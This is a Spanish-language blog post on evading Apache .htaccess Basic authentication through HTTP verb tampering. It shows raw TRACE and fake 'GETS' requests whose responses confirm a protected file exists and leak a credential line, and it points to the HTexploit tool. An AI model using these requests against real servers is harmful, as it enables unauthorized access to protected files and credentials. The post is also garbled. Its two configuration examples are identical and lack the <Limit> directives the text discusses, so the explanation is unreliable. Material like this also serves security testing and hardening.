Banner 1

Jugando con .htaccess

La mayoria ya conoce cual es la funcion de este archivo en el servidor encargandose de actuar sobre el fichero de configuracion de apache “httpd.conf”

Permite:
Redireccion de url’s
Respuestas de error personalizadas.
Proteccion de directorios, subdirectorios y ficheros en el servidor.
Certificados de autentificacion http.
etc…
No vengo a escribrir de como implementar cada una de sus funciones.
En la Black-Hat pasada se hablo de una supuesta vulnerabilidad en .htaccess, yo creo que mas que una vulnerabilidad es solo una mala implementacion del metodo [color=red][/color] cuando se desea restringir el acceso a cierto directorio/fichero presentando un certificado de autentificacion http.
En cuanto a estos tipos de certificados tenemos los:
Basicos: La contraseña viaja en texto plano
Resumen: El servidor le aplica un hash al password antes de ser enviado.
En la siguiente imagen podemos encontrar un servidor que implementa un certificado de tipo basico.

Conociendo la cantidad de admins que andan sueltos, Podriamos deducir para suerte nuestra que nos estariamos encontrando con un .htaccess configurado de la siguiente manera (supongamos).
?
1
2
3
4
5
6
7
AuthUserFile .htpasswd
AuthName "Area Radioactiva"
AuthType Basic
 
require valid-user

Donde esta la mala implementacion?

Vemos que solo se limita a peticiones GET, dejando de lado TRACE, OPTIONS, POST, PUT, COPY, MOVE, DELETE, TRACK, etc, entre otras.
Podriamos obtener el contenido de algun fichero detras de la proteccion utilizando el metodo POST.

Otras configuraciones mas restringidas incluyen el metodo POST como limite.
?
1
2
3
4
5
6
7
AuthUserFile .htpasswd
AuthName "Area Radioactiva"
AuthType Basic
 
require valid-user

Pero eso no nos niega la posibilidad de enumerar los ficheros y directorios protegidos por .htaccess utilizando los demas metodos que se hayen habilitados en el servidor.
Si analizamos, ahun existiendo o no el path /files/pass.txt, el servidor nos responderia con el mismo error 401 (no autorizado)

Lo mismo pasara al realizar una peticion POST, pero que hay de los demas metodos, como responderia ante una peticion http que no este dentro de los ? por ejemplo TRACE.
?
1
2
3
4
5
6
7
8
TRACE /files/pass.txt HTTP/1.0
 
HTTP/1.0 200 ok
Date: Thu, 05 Jul 2012 10:53:32 GTM
Server: Apache /2.2.3 (centOS)
Connection: close
Content-type: message/http
TRACE /files/pass.txt HTTP/1.0

Evidentemente nos responde con 200 ok, hemos logrado evadir la restriccion del .htaccess para deducir la existencia del fichero en el servidor, en caso de no existir el servidor nos responderia con un error 404.
Otro manera seria realizar peticiones con metodos no implementados e inexistentes como[color=red] GETS[/color], el servidor lo tomaria como si se tratara de un metodo GET.
?
1
2
3
4
5
6
7
8
9
GETS /files/pass.txt HTTP/1.1
 
HTTP/1.0 200 ok
Date: Thu, 05 Jul 2012 10:53:32 GTM
Server: Apache /2.2.3 (centOS)
Connection: close
Content-type: message/http
 
q3rv0:queteimporta


Este tipo de evaciones lo implementa la herramientas HTexploit.

Saludos!

Fuente:http://underterminal.nixiweb.com/?p=344

No hay comentarios:

Powered by Bad Robot
Helped by Blackubay